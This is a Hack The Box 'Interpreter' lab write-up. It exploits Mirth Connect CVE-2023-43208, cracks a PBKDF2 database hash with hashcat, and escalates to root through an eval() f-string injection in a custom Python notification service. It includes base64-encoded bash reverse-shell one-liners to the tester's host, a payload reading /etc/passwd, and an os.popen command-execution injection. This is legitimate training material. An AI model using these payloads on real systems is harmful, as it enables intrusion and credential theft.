> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-interpreter.md).
# HTB - Interpreter
## Enumeration and Foothold
### NMAP
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http Jetty
443/tcp open ssl/http Jetty
6661/tcp open unknown syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
Browsing to http port says there is login page but it does not resolve
Clicking on Launch Mirth Connect downloads a file.
But https port resolves and also clicking on secure site redirects to https site.
Also clicking on Download Administrator Launcher redirects to a script.
Version of Mirth Connector leaked in the launcher file downloaded.
Searching for CVE resulted as mirth connector is vulnerable to Unauthenticated RCE.
Found this poc
{% embed url="" %}
#### Mirth Connector RCE
As the application is vulnerable i am gonna use the CVE script to get RCE.
```bash
┌──(ajay㉿kali)-[~/CVE-2023-43208-mirth-connect-rce-poc]
└─$ echo -n 'bash -i >& /dev/tcp/10.10.14.49/4444 0>&1' | base64 -w0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS80NDQ0IDA+JjE=
┌──(ajay㉿kali)-[~/CVE-2023-43208-mirth-connect-rce-poc]
└─$ python3 CVE-2023-43208.py -u https://10.129.244.184/ -c 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS80NDQ0IDA+JjE=}|{base64,-d}|bash'
The target appears to have executed the payload.
```
## Shell as Mirth
```bash
mirth@interpreter:/usr/local/mirthconnect$ python3 -c "import pty; pty.spawn('/bin/bash')"
`dbdrivers.xml` leaks data regarding the type of database.
mirth.properties leak database credentials.
I need look for the hashing algorithm to decode the hash.
poking around a bit on google found this
Mirth 4.4.0 stores a PBKDF2-HMAC-SHA256 hash (not a plain SHA1) as a single base64 blob: `Base64(8-byte salt ‖ 32-byte derived key)`, with 600,000 iterations hardcoded in the Mirth source.
That said i can decode the hash by first converting and then decoding
```bash
┌──(ajay㉿kali)-[~]
└─$ python3
Python 3.13.12 (main, Feb 4 2026, 15:06:39) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> h = "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=="
>>> raw = base64.b64decode(h)
>>> salt, key = raw[:8], raw[8:]
>>> print(f"sha256:600000:{base64.b64encode(salt).decode()}:{base64.b64encode(key).decode()}")
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
>>>
```
```bash
┌──(ajay㉿kali)-[~]
└─$ echo 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' > hash.txt
```
```bash
hashcat -m 10900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
```
## Shell as Sedric
There is an internal service running on port 54321.
Looking for root owned processes found that root runs a custom python file called notify.py
The script runs a notification server on port 5431 earlier found.
```
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
```
Examining the code found the following vulnerability.
code has a serious **remote code execution vulnerability** via the `eval()` call in `template()`.
```bash
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
return eval(f"f'''{template}'''")
```
the regex whitelist `[a-zA-Z0-9._'"(){}=+/]+` permits `'`, `"`, `{`, `}`, `(`, `)`, and `=` in every field exactly the characters needed to break out of an f-string and inject arbitrary Python expressions. Since this whitelisted, attacker-influenced data gets wrapped in `f'''...'''` and passed to `eval()`, any field (e.g. `firstname`) can smuggle in a Python expression that gets evaluated.
For example, a `firstname` value like:
```
{''.join(open('/etc/passwd').readlines())}
```
would pass the regex check (all those characters are allowed) and then execute as live Python code inside the f-string evaluation giving arbitrary code execution in the context of whatever runs this Flask service.
The `'''` triple-quote is also exploitable to break out of the string literal boundary entirely if crafted carefully, since single/double quotes are both in the whitelist.
i will port forward the port and access from my machine as curl is not found on the machine
Testing the server by posting data
```bash
┌──(ajay㉿kali)-[~]
└─$ curl -s http://127.0.0.1:54321/addPatient -X POST -H "Content-Type: text/xml" -d 'TestUserTest202401/01/1990M'
Patient Test User (M), 36 years old, received from Test at 2024
```
with that info i am gonna confirm the vulnerability by sending malformed input.
sending 1+1 results in 2 — confirmed vulnerability.
Now i am gonna leverage this vulnerability run os level commands
```bash
──(ajay㉿kali)-[~]
└─$ echo 'id' | base64 -w0
aWQK
┌──(ajay㉿kali)-[~]
└─$ curl -s http://127.0.0.1:54321/addPatient -X POST -H "Content-Type: text/xml" -d '{__import__("os").popen(__import__("base64").b64decode("aWQK").decode()).read()}UserTest202401/01/1990M'
Patient uid=0(root) gid=0(root) groups=0(root)
User (M), 36 years old, received from Test at 2024
```
That said i will use the script to get reverse shell.
```bash
──(ajay㉿kali)-[~]
└─$ echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.49/5555 0>&1'" | base64 -w0
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS81NTU1IDA+JjEn
┌──(ajay㉿kali)-[~]
└─$ curl -s http://127.0.0.1:54321/addPatient -X POST -H "Content-Type: text/xml" -d '{__import__("os").popen(__import__("base64").b64decode("YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS81NTU1IDA+JjEn").decode()).read()}UserTest202401/01/1990M'
```
## Shell as Root
---
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